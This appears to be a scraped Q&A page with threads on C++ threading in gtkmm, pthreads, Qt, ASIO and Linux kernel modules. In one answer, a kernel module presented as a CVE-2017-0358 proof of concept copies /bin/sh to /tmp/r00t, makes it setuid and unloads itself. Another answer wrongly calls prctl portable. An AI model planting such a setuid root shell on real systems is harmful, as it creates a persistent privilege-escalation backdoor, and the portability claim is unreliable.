If I compile and run the code as-is, the process will run with 1 thread. If I uncomment the commented out section and then compile and run it, it runs with 2 threads.
I am compiling the code with this command:
g++ pkg-config gtkmm-2.4 --cflags --libs test.cpp
When the program is running I can check how many threads are created with:
ps -mC a.out
If I look at the second thread in ddd, I can see that it is running g_main_loop_run. This confuses me:
What is the purpose of this thread?
Why does adding a toolbar button create a new thread?
I thought g_main_loop_run() should only ever run in one thread (unless you use the GDK_THREADS_ENTER/GDK_THREADS_LEAVE macros). Since I am running Gtk::Main::Run() in my main thread am breaking the rules?
Thanks in advance for any help. It's driving me crazy.
#include <gtkmm.h>
bool OnDeleteEvent(GdkEventAny* PtrGdkEventAny)
{
Gtk::Main::quit();
return(true);
}
void OnExecuteButtonClicked()
{
}
int main(int argc, char *argv[])
{
new Gtk::Main(0, NULL);
Gtk::Window *ptrWindow = new Gtk::Window;
ptrWindow->signal_delete_event().connect(sigc::ptr_fun(&OnDeleteEvent));
/*
Gtk::Toolbar *ptrToolBar = manage(new Gtk::Toolbar);
Gtk::ToolButton *ptrToolButton;
ptrToolButton = manage( new Gtk::ToolButton(Gtk::Stock::EXECUTE));
ptrToolBar->append(*ptrToolButton, sigc::ptr_fun(&OnExecuteButtonClicked));
ptrWindow->add(*ptrToolBar);
*/
ptrWindow->show_all();
Gtk::Main::run();
return (0);
}
Sometimes GThreads are created when you use functions that rely on async behaviour. These usually create a GTask internally (with g_task_run_in_thread and friends) and run the synchronous version in a seperate thread (except for those being nativly async or async-able, those usually won't spawn another thread). Usually this is IO (i.e. GtkBuilder), Socket and IPC (dbus) related - so mostly glib stuff.
There might also be occasions which I am not aware of, that will spawn additional threads, the mainloop itself is strictly single threaded.
So in your case I can only think of two thing that could trigger this: The Stock image that is loaded from your local disk or the styling information of your theme.
Related
I am using pthread in my program. For creation using pthread_create(). Right after creation I am using pthread_setname_np() to set the created thread's name.
I am observing that the name I set takes a small time to reflect, initially the thread inherits the program name.
Any suggestions how I can set the thread name at the time I create the thread using pthread_create()? I researched a bit in the available pthread_attr() but did not find a function that helps.
A quick way to reproduce what I am observing, is as follows:
void * thread_loop_func(void *arg) {
// some code goes here
pthread_getname_np(pthread_self(), thread_name, sizeof(thread_name));
// Output to console the thread_name here
// some more code
}
int main() {
// some code
pthread_t test_thread;
pthread_create(&test_thread, &attr, thread_loop_func, &arg);
pthread_setname_np(test_thread, "THREAD-FOO");
// some more code, rest of pthread_join etc follows.
return 0;
}
Output:
<program_name>
<program_name>
THREAD-FOO
THREAD-FOO
....
I am looking for the first console output to reflect THREAD-FOO.
how I can set the thread name at the time I create the thread using pthread_create()?
That is not possible. Instead you can use a barrier or mutex to synchronize the child thread until it's ready to be run. Or you can set the thread name from inside the thread (if any other threads are not using it's name).
Do not to use pthread_setname_np. This is a nonstandard GNU extension. The _np suffix literally means "non-portable". Write portable code and instead use your own place where you store your thread names.
Instead of pthread_setname_np(3) you can use prctl(2) with PR_SET_NAME. The only limitation with this function is that you can only set the name of the calling process/thread. But since your example is doing exactly that, there should be no problem with this solution AND it's a portable standard API.
I've made a simple module which prints GDT and IDT on loading. After it's done its work, it's no longer needed and can be unloaded. But if it returns a negative number in order to stop loading, insmod will complain, and an error message will be logged in kernel log.
How can a kernel module gracefully unload itself?
As far as I can tell, it is not possible with a stock kernel (you can modify the module loader core as I describe below but that's probably not a good thing to rely on).
Okay, so I've taken a look at the module loading and unloading code (kernel/module.c) as well as several users of the very-suspiciously named module_put_and_exit. It seems as though there is no kernel module which does what you'd like to do. All of them start up kthreads inside the module's context and then kill the kthread upon completion of something (they don't automatically unload the module).
Unfortunately, the function which does the bulk of the module unloading (free_module) is statically defined within kernel/module.c. As far as I can see, there's no exported function which will call free_module from within a module. I feel like there's probably some reason for this (it's very possible that attempting to unload a module from within itself will cause a page fault because the page which contains the module's code needs to be freed). Although this probably could be solved by making a noreturn function which just schedules after preventing the current (invalid) task from being run again (or just running do_exit).
A further point to ask is: are you sure that you want to do this? Why don't you just make a shell script to load and unload the module and call it a day? Auto-unloading modules are probably a bit too close to Skynet for my liking.
EDIT: I've played around with this a bit and have figured out a way to do this if you're okay with modifying the module loader core. Add this function to kernel/module.c, and make the necessary modifications to include/linux/module.h:
/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
free_module(mod);
do_exit(0);
/* We should never be here. */
BUG();
}
EXPORT_SYMBOL(__purge_module);
Calling this with __purge_module(THIS_MODULE) will unload your module and won't cause a page fault (because you don't return to the module's code). However, I would still not recommend doing this. I've done some simple volume testing (I inserted a module using this function ~10000 times to see if there were any resource leaks -- as far as I can see there aren't any).
Oh you can do definitely do it :)
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358#gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}
void cleanup_module(void) {
return 0;
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}
I am creating a music library app using Qt( C++). It involves a method that does the following jobs in the given sequence-
List N audio files by recursively traversing a directory.
Read each and every file to collect ID3 tags.
Extract artwork images from the files.
Save the ID3 tags in the database.
The above set of tasks are extremely resource intensive. For N ~ 1000, it takes around a minute and half to complete the tasks and during the course of execution of this sequence, the GUI freezes up and doesn't respond well as I currently use no other threads.
I have seen a few examples of Qt threading and they more or less tell how to do things in parallel as expected but in those examples, achieving parallelism or concurrency is a requirement as they don't have any other options. But in case of my app, it's a choice whether I use multiple threads or not. The goal is to make sure the GUI stays responsive and interactive during the execution of the resource intensive task.I would really appreciate any expert advice may be with a code template or example in Qt to perform the resource intensive task in a different thread.
Code in main thread-
QStringList files;
QString status;
createLibrary(files, status); //To be done in a different thread
if(status == "complete"){
//do something
}
Thanks a lot your time!
You could use the QtConcurrent module.
Use QtConcurrent::map() to iterate over the list of files and call a method in separate thread:
QFuture<void> result = QtConcurrent::map(files, createLibrary);
QFutureWatcher will send a signal when the processing is done:
QFutureWatcher<void> watcher;
connect(&watcher, SIGNAL(finished()),
this, SLOT(processingFinished()));
// Start the computation.
QFuture<void> result = QtConcurrent::map(files, createLibrary);
watcher.setFuture(result);
BTW because of a lot of bad files in the wild, the music player Amarok decided to put the id3 tag scanner in a separate process. See here for more informations.
My best advice would be to create a subclass QThread. Pass this subclass a pointer to the directories and give it a pointer to a valid (non-null) view that you want to update in the following way:
header.h
class SearchAndUpdate : public QThread
{
Q_OBJECT
public:
SearchAndUpdate(QStringList *files, QWidget *widget);
//The QWidget can be replaced with a Layout or a MainWindow or whatever portion
//of your GUI that is updated by the thread. It's not a real awesome move to
//update your GUI from a background thread, so connect to the QThread::finished()
//signal to perform your updates. I just put it in because it can be done.
~SearchAndUpdate();
QMutex mutex;
QStringList *f;
QWidget *w;
bool running;
private:
virtual void run();
};
Then in your implementation for that thread do this:
thread.cpp
SearchAndUpdate(QStringList *files, QWidget *widget){
this->f=files;
this->w=widget;
}
void SearchAndUpdate::run(){
this->running=true;
mutex.lock();
//here is where you do all the work
//create a massive QStringList iterator
//whatever you need to complete your 4 steps.
//you can even try to update your QWidget *w pointer
//although some window managers will yell at you
mutex.unlock();
this->running=false;
this->deleteLater();
}
Then in your GUI thread maintain the valid pointers QStringList *files and SearchAndUpdate *search, then do something like this:
files = new QStringList();
files->append("path/to/file1");
...
files->append("path/to/fileN");
search = new SearchAndUpdate(files,this->ui->qwidgetToUpdate);
connect(search,SIGNAL(finished()),this,SLOT(threadFinished()));
search->start();
...
void threadFinished(){
//update the GUI here and no one will be mad
}
I'm basically building a shared library based on the serialisation example in the ASIO documentation, by this I mean I am compiling with the -shared and -fpic options to produce an .so file, which includes hooks/wrappers.
I'm running my shared library against another process and then my code gets run through the constructor function within the library (like DLLMain on Windows).
I know my code is being executed and it runs fine up until a certain point. Basically my problem involves trying to put ASIO and my networking code onto another thread. I'm using the following code to do that:
asio::io_service io_service;
server server(io_service, port);
asio::thread t(boost::bind(&asio::io_service::run, &io_service));
Now, as this code is run within a constructor function within the library, is throws a seg fault and I can't figure out why. If I replace it with:
asio::io_service io_service;
server server(io_service, port);
io_service.run();
The code runs 100% fine, except it steals the whole thread of execution and the hooked process won't run at all. Can anyone help me out here? I'm really confused.
Cheers
It looks like a lifetime issue.
If the following code is in a function within the library:
void some_function()
{
asio::io_service io_service;
server server(io_service, port);
asio::thread t(boost::bind(&asio::io_service::run, &io_service));
}
Then whenever the function returns, io_service will go out of scope, being destroyed while the newly spawned thread is trying to process the event loop. Consider changing it so that the lifetime of io_service and server extends to at least the duration of the thread:
void server_run()
{
asio::io_service io_service;
server server(io_service, port);
io_service.run();
}
...
asio::thread t(&server_run);
I have a simple QT object. When I execute the code below the control is transfer to the QT object, but I would like to make the QT part work like a thread.
int main(int argc, char *args[])
{
gui *GUI;
//// before call
QApplication app(argc,args);
GUI = new gui();
GUI->show();
////i want to be able to do stuff here in parallel with the QT code.
// If I spawn a thead here or give a simple printf statement here
// or before call it executes only after GUI exits
return app.exec();
}
Make sure you not only create the thread but actually start it. Also, a printf() statement will execute before the GUI shows unless you forgot to terminate the string with a newline (\n).